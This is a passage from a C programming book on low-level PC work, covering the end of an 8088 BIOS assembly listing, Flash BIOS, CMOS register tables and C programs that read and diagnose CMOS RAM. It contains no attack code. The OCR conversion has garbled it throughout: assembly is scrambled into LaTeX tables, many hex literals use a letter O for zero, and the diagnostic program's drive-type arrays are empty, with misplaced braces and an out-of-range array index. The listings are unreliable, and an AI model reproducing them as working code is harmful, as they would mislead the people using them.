db 0c6h,06Ch,038h,000h
db 0FCh,066h,066h,07Ch
db 060h,060h,0F0h,000h
db 078h,0CCh,0CCh,0CCh
db 0DCh,078h,01Ch,000h
db 0FCh,066h,066h,07Ch
db 06Ch,066h,0E6h,000h
db 078h,0CCh,0E0h,070h
db 01Ch,0CCh,078h,000h
db 0FCh,0B4h,030h,030h
db 030h,030h,078h,000h
db OcCh,0cCh,0cCh,0cch
db OCCh,0CCh,0FCh,000h
db OcCh,0CCh,0cch,0cch
db 0CCH,078h,030h,000h
db 0c6h,0c6h,0c6h,0D6h
db OFEh,0EEh,0C6h,000h
db 0C6h,0C6h,06Ch,038h
db 038h,06Ch,0C6h,000h
db OCCh,0CCh,0CCh,078h
db 030h,030h,078h,000h
db 0FEh,0C6h,08Ch,018h
db 032h,066h,0FEh,000h
db 078h,060h,060h,060h
db 060h,060h,078h,000h
db 0c0h,060h,030h,018h
db 00Ch,006h,002h,000h
db 078h,018h,018h,018h
db 018h,018h,078h,000h
db 010h,038h,06Ch,0C6h
\begin{tabular}{|c|c|}
\hline db & 000h, \(000 \mathrm{~h}, 000 \mathrm{~h}, 000 \mathrm{~h}\) \\
\hline db & 000h, \(000 \mathrm{~h}, 000 \mathrm{~h}, 000 \mathrm{~h}\) \\
\hline db & 000h, \(000 \mathrm{~h}, 000 \mathrm{~h}, 0 \mathrm{FFh}\) \\
\hline db & 030h, 030h, 018h, 000 h \\
\hline db & 000h, \(000 \mathrm{~h}, 000 \mathrm{~h}, 000 \mathrm{~h}\) \\
\hline db & 000h, \(000 \mathrm{~h}, 078 \mathrm{~h}, 00 \mathrm{Ch}\) \\
\hline db & \(07 \mathrm{Ch}, 0 \mathrm{CCh}, 076 \mathrm{~h}, 000 \mathrm{~h}\) \\
\hline db & 0E0h, \(060 \mathrm{~h}, 060 \mathrm{~h}, 07 \mathrm{Ch}\) \\
\hline db & 066h, \(066 \mathrm{~h}, 0 \mathrm{DCh}, 000 \mathrm{~h}\) \\
\hline db & 000h, \(000 \mathrm{~h}, 078 \mathrm{~h}, 0 \mathrm{CCh}\) \\
\hline db & 0C0h, 0CCh, 078h, 000 h \\
\hline db & \(01 \mathrm{Ch}, 00 \mathrm{Ch}, 00 \mathrm{Ch}, 07 \mathrm{Ch}\) \\
\hline db & 0CCh, 0CCh, 076h, 000 h \\
\hline db & 000h, \(000 \mathrm{~h}, 078 \mathrm{~h}, 0 \mathrm{CCh}\) \\
\hline db & OFCh, 0C0h, 078h, 000 h \\
\hline db & 038h, \(06 \mathrm{Ch}, 060 \mathrm{~h}, 0 \mathrm{FOh}\) \\
\hline db & 060h, \(060 \mathrm{~h}, 0 \mathrm{FOh}, 000 \mathrm{~h}\) \\
\hline db & 000h, \(000 \mathrm{~h}, 076 \mathrm{~h}, 0 \mathrm{CCh}\) \\
\hline db & \(0 \mathrm{CCh}, 07 \mathrm{Ch}, 00 \mathrm{Ch}, 0 \mathrm{~F} 8 \mathrm{~h}\) \\
\hline db & OE0h, \(060 \mathrm{~h}, 06 \mathrm{Ch}, 076 \mathrm{~h}\) \\
\hline db & 066h, \(066 \mathrm{~h}, 0 \mathrm{E} 6 \mathrm{~h}, 000 \mathrm{~h}\) \\
\hline db & 030h, \(000 \mathrm{~h}, 070 \mathrm{~h}, 030 \mathrm{~h}\) \\
\hline db & 030h, 030h, 078h, 000 h \\
\hline db & \(00 \mathrm{Ch}, 000 \mathrm{~h}, 00 \mathrm{Ch}, 00 \mathrm{Ch}\) \\
\hline db & \(00 \mathrm{Ch}, 0 \mathrm{CCh}, 0 \mathrm{CCh}, 078 \mathrm{~h}\) \\
\hline db & OE0h, \(060 \mathrm{~h}, 066 \mathrm{~h}, 06 \mathrm{Ch}\) \\
\hline db & 078h, \(06 \mathrm{Ch}, 0 \mathrm{E} 6 \mathrm{~h}, 000 \mathrm{~h}\) \\
\hline db & 070h, 030h, 030h, 030h \\
\hline db & 030h, 030h, 078h, 000 h \\
\hline db & 000h, \(000 \mathrm{~h}, 0 \mathrm{CCh}, 0 \mathrm{FEh}\) \\
\hline db & OFEh, OD6h, 0c6h, 000 h \\
\hline db & O00h, \(000 \mathrm{~h}, 0 \mathrm{~F} 8 \mathrm{~h}, 0 \mathrm{CCh}\) \\
\hline db & \(0 \mathrm{CCh}, 0 \mathrm{CCh}, 0 \mathrm{CCh}, 000 \mathrm{~h}\) \\
\hline db & 000h, \(000 \mathrm{~h}, 078 \mathrm{~h}, 0 \mathrm{CCh}\) \\
\hline db & OCCh, 0CCh, 078h, 000 h \\
\hline db & 000h, \(000 \mathrm{~h}, 0 \mathrm{DCh}, 066 \mathrm{~h}\) \\
\hline db & 066h, 07Ch, \(060 \mathrm{~h}, 0 \mathrm{FOh}\) \\
\hline db & 000h, \(000 \mathrm{~h}, 076 \mathrm{~h}, 0 \mathrm{CCh}\) \\
\hline db & \(0 \mathrm{CCh}, 07 \mathrm{Ch}, 00 \mathrm{Ch}, 01 \mathrm{Eh}\) \\
\hline db & 000h, \(000 \mathrm{~h}, 0 \mathrm{Clh}, 076 \mathrm{~h}\) \\
\hline db & 066h, \(060 \mathrm{~h}, 0 \mathrm{FOh}, 000 \mathrm{~h}\) \\
\hline db & 000h, \(000 \mathrm{~h}, 07 \mathrm{Ch}, 0 \mathrm{COh}\) \\
\hline
\end{tabular}



\section*{332 A to \(Z\) of C}
\begin{tabular}{|c|c|c|c|}
\hline \multirow{26}{*}{VECTORS} & ENTRY & 0FEF3h & ; IBM entry, time_of_day clock \\
\hline & dw & int_8 & ; Timer tick \\
\hline & dw & int_9 & ; Key attention \\
\hline & dw & IGNORE & ; Reserved \\
\hline & dw & IGNORE & ; Reserved for COM2 serial i/o \\
\hline & dw & IGNORE & ; Reserved for COM1 serial i/o \\
\hline & dw & IGNORE & ; Reserved for hard disk attn. \\
\hline & dw & int_e & ; Floppy disk attention \\
\hline & dw & IGNORE & ; Reserved for parallel printer \\
\hline & dw & int_10 & ; Video bios services \\
\hline & dw & int_11 & ; Equipment present \\
\hline & dw & int_12 & ; Memories present \\
\hline & dw & int_13 & ; Disk bios services \\
\hline & dw & int_14 & Serial com. services \\
\hline & dw & int_15 & ; Cassette bios services \\
\hline & dw & int_16 & ; Keyboard bios services \\
\hline & dw & int_17 & ; Parallel printer services \\
\hline & dw & IGNORE & ; rom Basic (setup later) \\
\hline & dw & int_19 & ; Bootstrap \\
\hline & dw & int_1a & ; Timer bios services \\
\hline & dw & DUMMY & ; Keyboard break user service \\
\hline & dw & DUMMY & ; System tick user service \\
\hline & dw & int_1d & ; Video parameter table \\
\hline & dw & int_1e & ; Disk parameter table \\
\hline & dw & ? & ; Graphic charactr table ptr \\
\hline & ENTRY & OFF23h & ; IBM entry, nonsense interrupt \\
\hline \multirow[t]{14}{*}{IGNORE:} & PUSH & DS & ; Unexpected interrupts go here \\
\hline & PUSH & DX & \\
\hline & PUSH & AX & \\
\hline & MOV & AX, 40h & \\
\hline & MOV & DS, AX & \\
\hline & MOV & AL, 0Bh & ; What IRQ caused this? \\
\hline & OUT & 20h, AL & \\
\hline & NOP & & \\
\hline & IN & AL, 20h & ; ...(read IRQ level) \\
\hline & MOV & AH, AL & \\
\hline & OR & AL, AL & \\
\hline & JNZ & DU_1 & \\
\hline & MOV & AL, 0FFh & ; Not hardware, say OFFh IRQ \\
\hline & JMP & short DU_2 & \\
\hline \multirow[t]{4}{*}{DU_1:} & IN & AL, 21h & ; Clear the IRQ \\
\hline & OR & AL, AH & \\
\hline & OUT & 21h, AL & \\
\hline & MOV & AL, 20h & ; Send end_of_interrupt code \\
\hline
\end{tabular}
\begin{tabular}{|c|c|c|c|c|}
\hline & OUT & 20h, AL & ; & ...to 8259 interrupt chip \\
\hline \multirow[t]{6}{*}{DU_2:} & MOV & DS: 6Bh, AH & ; & Save last nonsense interrupt \\
\hline & POP & AX & & \\
\hline & POP & DX & & \\
\hline & POP & DS & & \\
\hline & IRET & & & \\
\hline & ENTRY & OFF53h & ; & IBM entry, dummy interrupts \\
\hline \multicolumn{2}{|l|}{; INT_1B:} & & ; & Keyboard break user service \\
\hline \multicolumn{2}{|l|}{; INT_1C:} & & ; & Clock tick user service \\
\hline \multirow[t]{2}{*}{DUMMY:} & IRET & & & \\
\hline & ENTRY & OFF54h & ; & IBM entry, print screen \\
\hline \multirow[t]{22}{*}{INT_5:} & STI & & ; & Print screen service \\
\hline & PUSH & DS & & \\
\hline & PUSH & AX & & \\
\hline & PUSH & BX & & \\
\hline & PUSH & CX & & \\
\hline & PUSH & DX & & \\
\hline & MOV & AX, 40h & & \\
\hline & MOV & DS, AX & & \\
\hline & CMP & Byte ptr DS:100h,1 & ; & Print screen in progress? \\
\hline & JZ & PS_5 & ; & ...yes, ignore \\
\hline & MOV & Byte ptr DS:100h,1 & ; & Flag print screen in progress \\
\hline & CALL & P_CRLF & ; & ...begin new line \\
\hline & MOV & AH, OFh & & \\
\hline & INT & 10h & ; & Get current video state \\
\hline & PUSH & AX & ; & ...save it \\
\hline & MOV & AH, 3 & & \\
\hline & INT & 10 h & ; & Read cursor position \\
\hline & POP & AX & ; & ...retrieve video state \\
\hline & PUSH & DX & ; & ...save cursor position \\
\hline & MOV & CH, 19h & ; & Do 25 rows \\
\hline & MOV & CL, AH & ; & ...columns in current mode \\
\hline & XOR & DX, DX & ; & Start printing from (0,0) \\
\hline \multirow[t]{7}{*}{PS_1:} & MOV & AH, 2 & ; & Set cursor to position \\
\hline & INT & 10 h & & \\
\hline & MOV & AH, 8 & ; & ...and read character \\
\hline & INT & 10h & & \\
\hline & OR & AL, AL & ; & Nulls are special case \\
\hline & JNZ & PS_2 & & \\
\hline & MOV & AL, ' ' & ; & ...convert to spaces \\
\hline PS_2: & PUSH & DX & & \\
\hline
\end{tabular}
\begin{tabular}{|c|c|c|c|c|}
\hline & XOR & DX, DX & & \\
\hline & MOV & AH, DL & ; & Function=Print character \\
\hline & INT & 17h & & \\
\hline & POP & DX & & \\
\hline & TEST & AH, 00100101 b & ; & Successful print \\
\hline & JZ & PS_3 & & \\
\hline & MOV & Byte ptr DS: \(100 \mathrm{~h}, 0 \mathrm{FFh}\) & ; & No, error in Print Screen \\
\hline & JMP & short PS_4 & & \\
\hline PS_3: & INC & DL & ; & Increment column count \\
\hline & CMP & CL, DL & & \\
\hline & JNZ & PS_1 & ; & ...in range, continue \\
\hline & MOV & DL, 0 & & \\
\hline & CALL & P_CRLF & ; & Else print new line \\
\hline & INC & DH & ; & ...add another row \\
\hline & CMP & DH, CH & ; & Done all 25 rows? \\
\hline & JNZ & PS_1 & ; & ...no, continue \\
\hline & MOV & Byte ptr DS:100h,0 & ; & Show done Print Screen OK \\
\hline PS_4: & POP & DX & ; & Get saved cursor position \\
\hline & MOV & AH, 2 & & \\
\hline & INT & 10h & ; & ...restore it \\
\hline PS_5: & POP & DX & & \\
\hline & POP & CX & & \\
\hline & POP & BX & & \\
\hline & POP & AX & & \\
\hline & POP & DS & & \\
\hline & IRET & & & \\
\hline & ENTRY & OFFCBh & ; & IBM entry, display CR, LF \\
\hline P_CRLF: & PUSH & DX & ; & Print CR, LF, on line printer \\
\hline & XOR & DX, DX & & \\
\hline & MOV & AH, DL & ; & Function=print \\
\hline & MOV & AL, LF & ; & LF \\
\hline & INT & 17h & & \\
\hline & MOV & AH, 0 & & \\
\hline & MOV & AL, CR & ; & CR \\
\hline & INT & 17h & & \\
\hline & POP & DX & & \\
\hline & RET & & & \\
\hline ;****** & ******** &  & ** & 相 \\
\hline & ENTRY & OFFFOh & ; & Hardware power reset entry \\
\hline & PUBLIC & POWER & ; & ...ic "8088" or "V20" \\
\hline POWER: & JMPF & OFOOOh, COLD & ; & ...begins here on power up * \\
\hline & & & & \\
\hline
\end{tabular}
```

;
ENTRY OFFF5h ; Release date, Yankee style
db "08/23/87" ; ...MM/DD/YY (not logical)
ENTRY OFFFEh
db OFEh ; Computer type (XT)
; db ? ; Checksum byte
code ENDS
;
END

```

\subsection*{41.2 Flash BIOS}

A flash BIOS use Flash ROM. Flash ROM is a type of EEPROM (Electronically Erasable Programmable ROM). Flash ROM doesn't require specific hardware device to program, instead it can be programmed even without removing it. Thus we can write our own BIOS code, if our system got Flash BIOS.

\subsection*{41.3 Uniflash}

Uniflash is the famous BIOS code for Flash BIOSs. It was actually written in Pascal. It is available on CD . (Few people think that Pascal got good readability over C. It won't be a tough process to convert a Pascal code to C as we have so many language-converters for that!)

\section*{Programming CMOS RAM}

CMOS RAM is a random access memory made up of Complementary Metal Oxide Semiconductor (CMOS). CMOS is used for storing setup information in PC. It is used in hardware components that are powered by battery. It is widely used because of its low power consumption. CMOS RAM's size is usually referred as 64 or 128 byte. In fact, CMOS RAM is actually built into the Real-Time Clock (RTC) which has address space of 64 or 128 bytes. The clock registers of RTC use the first 16 bytes. So this CMOS RAM is actually 48 or 112 bytes.

\subsection*{42.1 Viewing contents of CMOS RAM}

\subsection*{42.1.1 Logic}

CMOS data are accessible via I/O ports 70h and 71h. First send the respective address of CMOS to I/O port 70 h and then read the data from I/O port 71 h .

\section*{Caution}

Any write to port 70h should be followed by an action to port 71h, otherwise RTC will be left in an unknown state.

\subsection*{42.1.2 Code}

Following is the code to view contents of CMOS RAM. As I said earlier, CMOS RAM is available in two sizes: \(64 \& 128\) bytes. Here I assume that the size of my CMOS RAM is 128 bytes. You need not know the exact size of CMOS RAM for basic operations like viewing contents. However you must know the exact size of CMOS RAM for hazardous operations like clearing CMOS RAM.
```

\#include <dos.h>
\#define CMOS_ADDR (0x70) /* address port of CMOS */
\#define CMOS_DATA (0x71) /* data port for CMOS */
int main( void )
{
int offset, data;
const int size = 128; /* or 64 depending upon your system */
for ( offset=0; offset<size ; ++offset )
{
disable( );

```
```

        outportb( CMOS_ADDR, offset );
        data = inportb( CMOS_DATA );
        enable( );
        printf( "%0xX ", data );
    }
    return(0);
    } /*--main( )---------*/

```

\subsection*{42.2 Diagnose CMOS RAM}

\subsection*{42.2.1 Logic}

The above program outputs just the hexadecimal contents of CMOS RAM. But to diagnose CMOS RAM we must know the structural design of CMOS RAM.

Each CMOS Register is 1 byte (8bits) in size. Following tables show description of each bits in CMOS registers. Ralf Brown's Interrupt List found on CD also provides a clean note on CMOS Registers. For a better understanding the reader is advised to have a look on CMOS.LST file of Ralf Brown's Interrupt List.
\begin{tabular}{|c|c|c|c|c|}
\hline \multicolumn{4}{|c|}{ AT REAL TI ME CLOCK STATUS REGI STER A } \\
\hline 7 & 654 & 3210 & \multicolumn{1}{|c|}{ FUNCTION } & ALLOWABLE VALUES \\
\hline X & & & UPDATE IN PROGRESS & \(1=\) DATE/TIME BEING UPDATED, \(0=\) NOT \\
\hline & XXX & & 22 STAGE DIVIDER & DEFAULT=010, 32.768 KHZ TIME BASE \\
\hline & & XXXX & RATE SELECTION FREQUENCY & DEFAULT=0110, 1.024 KHZ \\
\hline
\end{tabular}
\begin{tabular}{|c|c|c|c|c|c|c|c|c|c|}
\hline \multicolumn{10}{|c|}{AT REAL TI ME CLOCK STATUS REGI STERS B} \\
\hline T & 1 & 5 & , & 3 & : & 1 & 0 & NAME & ALLOWABLE VALUES \\
\hline X & & & & & & & & SET, 1 PER SECOND & 0=UPDATE NORMALLY, 1=ABORT UPDATE \\
\hline & X & & & & & & & PERIODIC INT ENABLE & \(0=\) DISABLE INT (DEFAULT), 1=ENABLED \\
\hline & & X & & & & & & ALARM INT ENABLE & \(0=\) DISABLED (DEFAULT), 1=ENABLED \\
\hline & & & X & & & & & UPDATE END INT ENA. & \(0=\) DISABLED (DEFAULT), 1=ENABLED \\
\hline & & & & X & & & & SQUARE WAVE ENABLE & \(0=\) DIS (DEF), 1=ENA, PER REG A 0-3 \\
\hline & & & & & X & & & DATE MODE & 0=BCD (DEFAULT), 1=BINARY \\
\hline & & & & & & X & & 24/12 MODE & \(0=12\) HOUR, \(1=24\) HOUR FORMAT (DEFAULT) \\
\hline & & & & & & & X & DAYLIGHT SAVING ENA & \(0=\) DISABLED (DEFAULT), 1=ENABLED \\
\hline
\end{tabular}
\begin{tabular}{|l|l|l|l|l|l|l|}
\hline \multicolumn{6}{|c|}{ AT REAL TI ME CLOCK STATUS REGI STER C } \\
\hline 7 & 6 & 5 & 4 & 3210 & \multicolumn{1}{|c|}{ NAME } & \multicolumn{1}{|c|}{ ALLOWABLE VALUES } \\
\hline X & & & & & IRQF FLAG & READ ONLY \\
\hline & X & & & & PF FLAG & READ ONLY \\
\hline & & X & & & AF FLAG & READ ONLY \\
\hline & & & X & & UF FLAG & READ ONLY \\
\hline & & & & XXXX & RESERVED & SHOULD ALWAYS BE ZERO \\
\hline
\end{tabular}

\section*{338 A to \(Z\) of C}
\begin{tabular}{|c|c|l|l|}
\hline \multicolumn{3}{|c|}{ AT CMOS STATUS REGI STER D } \\
\hline 7 & 6543210 & NAME & ALLOWABLE VALUES \\
\hline\(X\) & & VALID RAM BIT & \(0=\) BATT DEAD,RAM INVALID, \(1=\) BATT GOOD \\
\hline & XXXXXXX & RESERVED & SHOULD ALWAYS BE ZERO \\
\hline
\end{tabular}
\begin{tabular}{|c|c|c|c|c|c|c|c|c|}
\hline \multicolumn{9}{|c|}{AT CMOS DIAGNOSTICS BYTE} \\
\hline 7 & 6 & 5 & 4 & 3 & 2 & 10 & NAME & ALLOWABLE VALUES \\
\hline X & & & & & & & POWER STAT OF RTC & \(1=\) CHIP HAS LOST POWER, \(0=\) NOT \\
\hline & X & & & & & & CHECKSUM STATUS & \(0=\) CHECKSUM OK, \(1=\) NOT OK \\
\hline & & X & & & & & CONFIGURATION INFO & \(0=\) VALID INFO, \(1=\) NOT VALID \\
\hline & & & X & & & & MEMORY SIZE COMPARE & \(0=\) SAME SIZE, 1 =NOT SAME SIZE \\
\hline & & & & X & & & FIXED DISK STATUS & 0=OK, 1=DRIVE OR ADAPTER FAILED \\
\hline & & & & & X & & TIME STATUS & \(0=\) TIME IS OK, \(1=\) TIME NOT OK \\
\hline & & & & & & XX & RESERVED & \\
\hline
\end{tabular}
\begin{tabular}{|l|l|c|c|}
\hline \multicolumn{4}{|c|}{ AT CMOS DRI VE TYPE BYTE } \\
\hline 7654 & 3210 & FUNCTION & ALLOWABLE VALUES \\
\hline XXXX & & TYPE OF FIRST DRIVE & \(000=\) NO DRIVE, \\
& & & \(0001=360 \mathrm{~K} 5.25 "\) \\
& & & \(0010=1.2 \mathrm{M} 5.25 "\) \\
& & & \(0011=720 \mathrm{~K} 3.5 " \prime\) \\
& & & \(0100=1.44 \mathrm{M} 3.5 "\) \\
\hline & XXXX & TYPE OF SECOND DRIVE & \\
\hline
\end{tabular}

\section*{AT CMOS FIXED DRIVE TYPES}
\begin{tabular}{|c|c|l|l|}
\hline \multicolumn{3}{c|}{ AT CMOS FIXED DRI VE TYPES } \\
\hline 7654 & 3210 & \multicolumn{1}{c|}{ NAME } & \multicolumn{1}{c|}{ ALLOWABLE VALUES } \\
\hline XXXX & & FIXED DISK C TYPE & \(0000=\) NO DRIVE 1H TO OEH SEE CHART \\
\hline & XXXX & FIXED DISK D TYPE & \begin{tabular}{l}
\(0000=\) NO DRIVE 1H TO OEH SEE CHART \\
IF BYTE \(=0\) OH THEN SEE EXTENDED BYTE FOR DRIVE TYPE
\end{tabular} \\
\hline
\end{tabular}
\begin{tabular}{|l|l|l|l|l|l|l|}
\hline \multicolumn{4}{|c|}{ AT CMOS EQUI PMENT BYTE } \\
\hline 76 & 54 & 32 & 1 & 0 & \multicolumn{1}{|c|}{ NAME } & \multicolumn{1}{c|}{ ALLOWABLE VALUES } \\
\hline XX & & & & & NUMBER OF DISK DRIVES & \(00=1,01=2,10=3,11=4\) \\
\hline & XX & & & & PRIMARY DISPLAY TYPE & \begin{tabular}{l}
\(00=\) DISPLAY HAS BIOS or EGA, \\
\(01=40\) COL CGA, \\
\\
\end{tabular} \\
& & & & & \begin{tabular}{l}
\(10=80\) COL CGA, \\
\(11=\) MDA, \\
\(101=\) EGA
\end{tabular} \\
\hline & & & & & \\
\hline & & & & & & NOT USED \\
\hline & & & & & MATH COPROCESSOR & \(0=\) NOT INSTALLED, \(1=\) INSTALLED \\
\hline
\end{tabular}

AT CMOS DRIVE C AND D EXTENDED DRIVE TYPE BYTES
\begin{tabular}{|c|c|c|}
\hline 76543210 & NAME & ALLOWABLE VALUES \\
\hline XXXXXXXX & DRIVE C TYPE BYTE & SEE NEXT CHART FOR TYPES \\
\hline XXXXXXXX & DRIVE D TYPE BYTE & SEE NEXT CHART FOR TYPES \\
\hline IF FIXED DRIVE 4 BITS FOR C IS 0-OEH IGNOR EXTENDED C \\
IF FIXED DRIVE 4 BITS FOR D IS 0-0EH IGNOR EXTENDED D \\
\hline
\end{tabular}
\begin{tabular}{|c|c|c|c|c|c|c|}
\hline \multicolumn{7}{|c|}{AT HARD DISK TYPES} \\
\hline \[
\begin{aligned}
& \hline \text { DISK } \\
& \text { TYPE }
\end{aligned}
\] & \[
\begin{aligned}
& \text { CYLINDER } \\
& \text { COUNT } \\
& \hline
\end{aligned}
\] & TOTAL HEADS & \[
\begin{aligned}
& \text { PRE } \\
& \text { COMP }
\end{aligned}
\] & \[
\begin{aligned}
& \text { LAND } \\
& \text { ZONE }
\end{aligned}
\] & SECTORS PER/TRK & \[
\begin{gathered}
\text { SIZE } \\
\text { MB }
\end{gathered}
\] \\
\hline 1 & 306 & 4 & 128 & 305 & 17 & 10.1 \\
\hline 2 & 615 & 4 & 300 & 615 & 17 & 20.4 \\
\hline 3 & 615 & 6 & 300 & 615 & 17 & 30.6 \\
\hline 4 & 940 & 8 & 512 & 940 & 17 & 62.4 \\
\hline 5 & 940 & 6 & 512 & 940 & 17 & 46.8 \\
\hline 6 & 615 & 4 & NONE & 615 & 17 & 20.4 \\
\hline 7 & 462 & 8 & 256 & 511 & 17 & 30.6 \\
\hline 8 & 733 & 5 & NONE & 733 & 17 & 30.4 \\
\hline 9 & 900 & 15 & NONE & 901 & 17 & 112.0 \\
\hline 10 & 820 & 3 & NONE & 820 & 17 & 20.4 \\
\hline 11 & 855 & 5 & NONE & 855 & 17 & 35.4 \\
\hline 12 & 855 & 7 & NONE & 855 & 17 & 49.6 \\
\hline 13 & 306 & 8 & 128 & 319 & 17 & 20.3 \\
\hline 14 & 733 & 7 & NONE & 733 & 17 & 42.5 \\
\hline 16 & 612 & 4 & 0 & 663 & 17 & 20.5 \\
\hline 17 & 977 & 5 & 300 & 977 & 17 & 40.5 \\
\hline 18 & 977 & 7 & NONE & 977 & 17 & 56.7 \\
\hline 19 & 1024 & 7 & 512 & 1023 & 17 & 59.5 \\
\hline 20 & 733 & 5 & 300 & 732 & 17 & 30.4 \\
\hline 21 & 733 & 7 & 300 & 732 & 17 & 42.5 \\
\hline 22 & 733 & 5 & 300 & 733 & 17 & 30.4 \\
\hline 23 & 306 & 4 & 0 & 336 & 17 & 10.1 \\
\hline 25 & 615 & 4 & 0 & 615 & 17 & 20.4 \\
\hline 26 & 1024 & 4 & NONE & 1023 & 17 & 34.0 \\
\hline 27 & 1024 & 5 & NONE & 1023 & 17 & 42.5 \\
\hline 28 & 1024 & 8 & NONE & 1023 & 17 & 68.0 \\
\hline 29 & 512 & 8 & 256 & 512 & 17 & 34.0 \\
\hline 30 & 615 & 2 & 615 & 615 & 17 & 10.2 \\
\hline 31 & 989 & 5 & 0 & 989 & 17 & 41.0 \\
\hline 32 & 1020 & 15 & NONE & 1024 & 17 & 127.0 \\
\hline 35 & 1024 & 9 & 1024 & 1024 & 17 & 76.5 \\
\hline 36 & 1024 & 5 & 512 & 1024 & 17 & 42.5 \\
\hline 37 & 830 & 10 & NONE & 830 & 17 & 68.8 \\
\hline 38 & 823 & 10 & 256 & 824 & 17 & 68.3 \\
\hline 39 & 615 & 4 & 128 & 664 & 17 & 20.4 \\
\hline 40 & 615 & 8 & 128 & 664 & 17 & 40.8 \\
\hline 41 & 917 & 15 & NONE & 918 & 17 & 114.1 \\
\hline 42 & 1023 & 15 & NONE & 1024 & 17 & 127.3 \\
\hline 43 & 823 & 10 & 512 & 823 & 17 & 68.3 \\
\hline 44 & 820 & 6 & NONE & 820 & 17 & 40.8 \\
\hline 45 & 1024 & 8 & NONE & 1024 & 17 & 68.0 \\
\hline 46 & 925 & 9 & NONE & 925 & 17 & 69.1 \\
\hline 47 & 699 & 7 & 256 & 700 & 17 & 40.6 \\
\hline
\end{tabular}

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\subsection*{42.2.2 Code}

This is the C code to read the contents of CMOS setup registers and diagnose it. It analyzes the power of battery, checksum etc through the contents of CMOS registers. Once I received this code from someone else. I am not aware of the real author. The author assumes the size of the CMOS to be 64 bytes.
```

\#include <stdio.h>
\#include <dos.h>
typedef struct
{ char seconds; /* AT Real Time Clock (RTC): Seconds */
char secalrm; /* AT RTC: Seconds Alarm */
char minutes; /* AT RTC: Minutes */
char minalrm; /* AT RTC: Minutes Alarm */
char hours; /* AT RTC: Hours */
char hrsalrm; /* AT RTC: Hours Alarm */
char dayofweek; /* AT RTC: day of week */
char dayofmon; /* AT RTC: day of month */
char month; /* AT RTC: month */
char year; /* AT RTC: year */
char aregister; /* STATUS REGISTER A */
char bregister; /* STATUS REGISTER B */
char cregister; /* STATUS REGISTER C */
char dregister; /* STATUS REGISTER D */
char diagnostic; /* Diagnostics status byte */
char shutdown; /* Shutdown status byte */
char diskettes; /* A \& B diskette types */
char reserved1; /* undefined */
char harddrive; /* C \& D hard drive types */
char reserved2; /* undefined */
char equipment; /* equipment byte */
char lowbyte; /* low byte of base memory */
char highbyte; /* high byte of base memory */
/* 100h = 256k, 200h = 512k, 280h = 640k */
char extlow; /* low byte of extended memory */
char exthigh; /* high byte of extended memory */
/* 200h=512k;400h=1024k;etc to 3c00h=15360k */
char drivec; /* more data on drive c */
char drived; /* more data on drive d */
char reserved[19]; /* reserved */
unsigned checksum;
char extlow1; /* same as extlow */
char exthigh1; /* same as exthigh */
char century; /* binary coded decimal value for century */
/* 19h = 1900 for example */

```
```

char infoflag; /* bit 7 set = top 128k installed */
char info[12];

```
\} CMOS, *CMOSPTR;
```

\#define CMOS_ADDR 0x70 /* address port of CMOS */
\#define CMOS_DATA 0x71 /* data port for CMOS */
void GetCMOS( char *cmosdata ) /* read CMOS data (64 bytes) */
{
unsigned char j, byte;
for ( j=0; j<64; j++ )
{
disable( ); /* disable interrupts */
outportb( CMOS_ADDR, j ); /* specify byte to get */
byte= inportb( CMOS_DATA ); /* get data */
enable( ); /* enable interrupts */
*cmosdata++ = byte; /* save CMOS data */
}
} /*--GetCMOS( )--------------*/
void ReadCMOS( void )
{
static char *floppy[] = {
"None",
"360K 5.25-inch",
"1.2M 5.25-inch",
"720K 3.5-inch",
"1.44M 3.5-inch"
};
static char *display[] = {
"EGA", /* 00 */
"40 column CGA", /* 01 */
"80 column CGA", /* 10 */
"MDA", /* 11 */
};
static char *math[] = {
"Not Installed",
"Installed"
};
static char *diag[] = {
"Time",
"Hard Dr",
"Memory",
"CnfInfo",
"Chksum",

```
"PwroK"
\};
static char *status[] = \{
"OK",
"Not OK"
\};
static char *hardtbl[] = \{

static char *harddisk[] = \{


\begin{tabular}{|c|c|c|c|c|c|c|c|c|}
\hline " & 38 & 823 & 10 & 256 & 824 & 17 & 68.3 & ", \\
\hline " & 39 & 615 & 4 & 128 & 664 & 17 & 20.4 & ", \\
\hline " & 40 & 615 & 8 & 128 & 664 & 17 & 40.8 & ", \\
\hline " & 41 & 917 & 15 & NONE & 918 & 17 & 114.1 & ", \\
\hline " & 42 & 1023 & 15 & NONE & 1024 & 17 & 127.3 & ", \\
\hline " & 43 & 823 & 10 & 512 & 823 & 17 & 68.3 & ", \\
\hline " & 44 & 820 & 6 & NONE & 820 & 17 & 40.8 & ", \\
\hline " & 45 & 1024 & 8 & NONE & 1024 & 17 & 68.0 & ", \\
\hline " & 46 & 925 & 9 & NONE & 925 & 17 & 69.1 & ", \\
\hline " & 47 & 699 & 7 & 256 & 700 & 17 & 40.6 & " \}; \\
\hline
\end{tabular}
```

CMOS cmosdata;
char *iptr = (char *)\&cmosdata;
int j, k, drive;
GetCMOS( iptr ); /* read 64 bytes of CMOS data */
printf( "CMOS Diagnostics Status:\n" );
j = (cmosdata.diagnostic >> 2);
for ( k=0; k<6; k++ )
{
printf( "%-7s: %s\n", diag[k], status[(j \& 1)] );
j >>= 1;
}
printf( "\nCMOS Equipment Information:\n" );
printf( "Display: %s\n", display[(cmosdata.equipment >> 4) \& 3] );
printf( " Coproc: %s\n", math[(cmosdata.equipment \& 2)] );
drive = 'A';
j = (cmosdata.equipment \& 1) * (1 + (cmosdata.equipment >> 6));
printf( " Floppy: %d\n",j );
if ( j )
printf( "Drive %c: %s\n", drive++,
floppy[(cmosdata.diskettes >> 4)] );
printf( "Drive %c: %s\n", drive++,
floppy[(cmosdata.diskettes \& 0x0f)] );
}
printf( "Hard Dr: " );
if ( cmosdata.harddrive ) /* at least 1 hard drive */
{
printf( "\n" );
for ( j=0; j<4; j++ )
printf( " %s\n",hardtbl[j] );
j = (cmosdata.harddrive >> 4);
k = (cmosdata.harddrive \& 0x0f);
if (j == 15)
j = (cmosdata.drivec);
if (k == 15)

```

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```

            k = (cmosdata.drived);
            printf( "Drive %c: %s\n", drive++, harddisk[j] );
            printf( "Drive %c: %s\n", drive, harddisk[k] );
            printf( " L_______
    ```

```

        }
    else
            printf( "None\n" );
    iptr = (char *)&cmosdata;
    printf( "\nHex Dump of CMOS RAM:\n" );
    for ( j=0,k=0 ; j<64; j++ )
    {
            printf( "%02x ", *iptr++ );
            k++;
            if ( k == 16 )
                {
                k = 0;
                    printf( "\n" );
                }
    }
    } /*--ReadCMOS ( ) -----------**/
int main( void )
{
ReadCMOS ( );
return(0);
} /*--main( )----------*/

```

\subsection*{42.3 Illegal Operation}

